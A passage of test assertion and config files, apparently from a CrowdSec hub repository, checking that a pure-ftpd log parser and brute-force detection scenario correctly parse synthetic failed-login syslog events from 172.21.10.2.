"pftpd_failed-auth" results[0].Overflow.Alert.Events[2].GetMeta("machine") == "ftpcdr" results[0].Overflow.Alert.Events[2].GetMeta("service") == "pureftpd" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "172.21.10.2" results[0].Overflow.Alert.Events[2].GetMeta("source_user") == "root" results[0].Overflow.Alert.Events[2].GetMeta("timestamp")[4:] == "-01-07T14:19:33Z" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "pureftpd-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "pftpd_failed-auth" results[0].Overflow.Alert.Events[3].GetMeta("machine") == "ftpcdr" results[0].Overflow.Alert.Events[3].GetMeta("service") == "pureftpd" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "172.21.10.2" results[0].Overflow.Alert.Events[3].GetMeta("source_user") == "root" results[0].Overflow.Alert.Events[3].GetMeta("timestamp")[4:] == "-01-07T14:19:34Z" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "pureftpd-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "pftpd_failed-auth" results[0].Overflow.Alert.Events[4].GetMeta("machine") == "ftpcdr" results[0].Overflow.Alert.Events[4].GetMeta("service") == "pureftpd" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "172.21.10.2" results[0].Overflow.Alert.Events[4].GetMeta("source_user") == "root" results[0].Overflow.Alert.Events[4].GetMeta("timestamp")[4:] == "-01-07T14:19:35Z" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "pureftpd-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "pftpd_failed-auth" results[0].Overflow.Alert.Events[5].GetMeta("machine") == "ftpcdr" results[0].Overflow.Alert.Events[5].GetMeta("service") == "pureftpd" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "172.21.10.2" results[0].Overflow.Alert.Events[5].GetMeta("source_user") == "root" results[0].Overflow.Alert.Events[5].GetMeta("timestamp")[4:] == "-01-07T14:19:36Z" results[0].Overflow.Alert.GetScenario() == "fulljackz/pureftpd-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/pureftpd-logs/000077500000000000000000000000001437532772500157475ustar00rootroot00000000000000hub1/.tests/pureftpd-logs/config.yaml000066400000000000000000000003101437532772500200720ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - parsers/s01-parse/fulljackz/pureftpd-logs.yaml scenarios: - "" postoverflows: - "" log_file: pureftpd-logs.log log_type: syslog labels: {} ignore_parsers: false hub1/.tests/pureftpd-logs/parser.assert000066400000000000000000000756111437532772500205000ustar00rootroot00000000000000len(results) == 3 len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 16 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["timestamp"] == "Jan 7 14:19:31" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["timestamp"] == "Jan 7 14:19:32" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["timestamp"] == "Jan 7 14:19:33" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["timestamp"] == "Jan 7 14:19:34" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["timestamp"] == "Jan 7 14:19:35" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["timestamp"] == "Jan 7 14:19:36" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["timestamp"] == "Jan 7 14:19:37" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["timestamp"] == "Jan 7 14:19:38" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["timestamp"] == "Jan 7 14:19:39" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["timestamp"] == "Jan 7 14:19:49" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Parsed["timestamp"] == "Jan 7 14:19:59" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][10].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Parsed["timestamp"] == "Jan 7 14:20:01" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][11].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][12].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][12].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][12].Evt.Parsed["timestamp"] == "Jan 7 14:20:02" results["s00-raw"]["crowdsecurity/syslog-logs"][12].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][12].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s00-raw"]["crowdsecurity/syslog-logs"][12].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][12].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][12].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][13].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][13].Evt.Parsed["timestamp"] == "Jan 7 14:20:03" results["s00-raw"]["crowdsecurity/syslog-logs"][13].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][13].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s00-raw"]["crowdsecurity/syslog-logs"][13].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][13].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][13].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][13].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][14].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][14].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][14].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s00-raw"]["crowdsecurity/syslog-logs"][14].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][14].Evt.Parsed["timestamp"] == "Jan 7 14:20:05" results["s00-raw"]["crowdsecurity/syslog-logs"][14].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][14].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][14].Evt.Meta["machine"] == "ftpcdr" results["s00-raw"]["crowdsecurity/syslog-logs"][15].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][15].Evt.Parsed["timestamp"] == "Jan 7 14:20:06" results["s00-raw"]["crowdsecurity/syslog-logs"][15].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][15].Evt.Parsed["message"] == "(?@172.21.10.2) [INFO] user@test.com is now logged in" results["s00-raw"]["crowdsecurity/syslog-logs"][15].Evt.Parsed["program"] == "pure-ftpd" results["s00-raw"]["crowdsecurity/syslog-logs"][15].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][15].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][15].Evt.Meta["machine"] == "ftpcdr" len(results["s01-parse"]["fulljackz/pureftpd-logs"]) == 16 results["s01-parse"]["fulljackz/pureftpd-logs"][0].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][0].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][0].Evt.Parsed["timestamp"] == "Jan 7 14:19:31" results["s01-parse"]["fulljackz/pureftpd-logs"][0].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][0].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][0].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/pureftpd-logs"][0].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][0].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][0].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][0].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][0].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][0].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s01-parse"]["fulljackz/pureftpd-logs"][1].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][1].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][1].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][1].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][1].Evt.Parsed["timestamp"] == "Jan 7 14:19:32" results["s01-parse"]["fulljackz/pureftpd-logs"][1].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][1].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s01-parse"]["fulljackz/pureftpd-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/pureftpd-logs"][1].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][1].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][1].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][1].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][1].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][2].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][2].Evt.Parsed["timestamp"] == "Jan 7 14:19:33" results["s01-parse"]["fulljackz/pureftpd-logs"][2].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][2].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][2].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][2].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][2].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][2].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][2].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][2].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s01-parse"]["fulljackz/pureftpd-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/pureftpd-logs"][2].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][2].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][3].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][3].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][3].Evt.Parsed["timestamp"] == "Jan 7 14:19:34" results["s01-parse"]["fulljackz/pureftpd-logs"][3].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][3].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][3].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][3].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][3].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s01-parse"]["fulljackz/pureftpd-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/pureftpd-logs"][3].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][3].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][3].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][3].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][3].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][4].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][4].Evt.Parsed["timestamp"] == "Jan 7 14:19:35" results["s01-parse"]["fulljackz/pureftpd-logs"][4].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][4].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][4].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][4].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][4].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][4].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][4].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][4].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s01-parse"]["fulljackz/pureftpd-logs"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/pureftpd-logs"][4].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][4].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][4].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][5].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][5].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][5].Evt.Parsed["timestamp"] == "Jan 7 14:19:36" results["s01-parse"]["fulljackz/pureftpd-logs"][5].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][5].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][5].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][5].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][5].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][5].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][5].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s01-parse"]["fulljackz/pureftpd-logs"][5].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/pureftpd-logs"][5].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][5].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][5].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][6].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][6].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][6].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][6].Evt.Parsed["timestamp"] == "Jan 7 14:19:37" results["s01-parse"]["fulljackz/pureftpd-logs"][6].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][6].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][6].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][6].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][6].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][6].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s01-parse"]["fulljackz/pureftpd-logs"][6].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/pureftpd-logs"][6].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][6].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][6].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][7].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][7].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][7].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][7].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][7].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][7].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][7].Evt.Parsed["timestamp"] == "Jan 7 14:19:38" results["s01-parse"]["fulljackz/pureftpd-logs"][7].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][7].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][7].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][7].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][7].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][7].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s01-parse"]["fulljackz/pureftpd-logs"][7].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/pureftpd-logs"][8].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][8].Evt.Parsed["timestamp"] == "Jan 7 14:19:39" results["s01-parse"]["fulljackz/pureftpd-logs"][8].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][8].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][8].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][8].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][8].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][8].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][8].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s01-parse"]["fulljackz/pureftpd-logs"][8].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/pureftpd-logs"][8].Evt.Meta["log_type"] == "pftpd_failed-auth" results["s01-parse"]["fulljackz/pureftpd-logs"][8].Evt.Meta["machine"] == "ftpcdr" results["s01-parse"]["fulljackz/pureftpd-logs"][8].Evt.Meta["service"] == "pureftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][8].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][9].Success == true results["s01-parse"]["fulljackz/pureftpd-logs"][9].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/pureftpd-logs"][9].Evt.Parsed["message"] == "(?@172.21.10.2) [WARNING] Authentication failed for user [root]" results["s01-parse"]["fulljackz/pureftpd-logs"][9].Evt.Parsed["timestamp"] == "Jan 7 14:19:49" results["s01-parse"]["fulljackz/pureftpd-logs"][9].Evt.Parsed["client_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][9].Evt.Parsed["program"] == "pure-ftpd" results["s01-parse"]["fulljackz/pureftpd-logs"][9].Evt.Parsed["user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][9].Evt.Meta["source_ip"] == "172.21.10.2" results["s01-parse"]["fulljackz/pureftpd-logs"][9].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/pureftpd-logs"][9].Evt.Meta["datasource_path"] == "pureftpd-logs.log" results["s01-parse"]["fulljackz/pureftpd-logs"][9].Evt.Meta["datasource_type"] == "file" 